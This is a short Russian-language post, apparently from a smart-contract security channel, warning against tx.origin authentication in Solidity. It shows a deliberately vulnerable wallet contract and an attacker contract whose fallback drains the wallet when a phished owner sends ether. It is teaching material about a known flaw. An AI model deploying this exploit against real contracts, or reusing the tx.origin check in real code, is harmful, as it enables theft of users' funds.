Опасность tx.origin
Много раз слsшал и сам писал на канале, чтобы никто не использовал tx.origin в своих контрактах.
Я сейчас нашел хороший пример, где показана его уязвимость.
Вот есть контракт:
contract Phishable {
address public owner;
constructor (address _owner) {
owner = _owner;
}
function () public payable {} // collect ether
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
И вот пример контракта хакера:
contract AttackContract {
Phishable phishableContract;
address attacker;
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () payable {
phishableContract.withdrawAll(attacker);
}
}
Если каким-то образом хакер убедит пользователя прислать ему некую сумму, то второй подпишет себе приговор на вывод всех средств.
Да, это пример, где от хакера требуются дополнительные действия для убеждения жертвы, но все же опасность tx.origin показана превосходно.
#security #txorigin
Post #475
193